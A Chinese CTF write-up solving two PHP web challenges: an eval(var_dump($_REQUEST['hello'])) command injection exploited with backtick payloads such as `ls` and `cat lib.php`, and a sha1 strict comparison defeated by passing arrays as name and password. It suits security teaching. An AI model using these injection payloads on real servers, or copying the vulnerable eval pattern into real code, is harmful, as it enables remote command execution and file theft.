4、习题4
题目内容如下:
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
函数解释
$REQUEST — HTTP Request 变量,默认情况下包含了 [$GET],[$POST] 和 [$COOKIE]的数组。
var_dump() var_dump() 函数用于输出变量的相关信息。var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
eval() 函数把字符串当作php 代码来执行
代码分析
总的来说就是eval函数来执行命令,从而获取flag。但是var_dump() 函数执行后,无法被eval函数当作php代码执行,因此,需要在var_dump() 函数执行的之后,就完成类似于 whoami这样的命令执行。
理解测试:
执行下面的代码,会直接打印字符
php -r "eval(var_dump('whoami'));"
但是 反引号位 (`) 是可以执行命令的
因此执行下面代码,会输出root 等用户名
php -r "eval(var_dump(`whoami`));"
所以可以构造执行命令,查找当前含有flag 的文件,然后读物文件来获取flag
构造ls命令,获取当前目录文件 index.php和lib.php
?hello=`ls`
读取 lib.php 文件的内容
?hello=`cat lib.php`
显示内容长度为41,但是没有看到内容,右键查看源代码,得到flag ,原来是被注释掉了
flag{yczxtsadjadljada}
使用tac 命令,可以直接输出flag
5、习题5
题目内容如下
代码如下:
<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>
经过代码分析,可以知道,首先GET 传入两个值,一个name 另一个password 首先就是这两个参数的值不一样,不然$GET['name'] == $GET['password'] 就会报错,接着,name和password 的sha1 的值要相等,并且这个相等采用了 === ,即不能采用弱类型比较===只有在相同类型下,才会比较其值。这样满足条件后,才能输出flag
函数解释:
die() 函数输出一条消息,并退出当前脚本。该函数是exit()函数的别名。
有意思的是 sha1不能处理数组,构造paylaod
name[]=1&password[]=2
当我们传入name[]=1&password[]=2时,会造成sha1(Array) === sha1(Array),即NULL===NULL,从而吐出flag
Flag: flag{tczdaljdasnqw}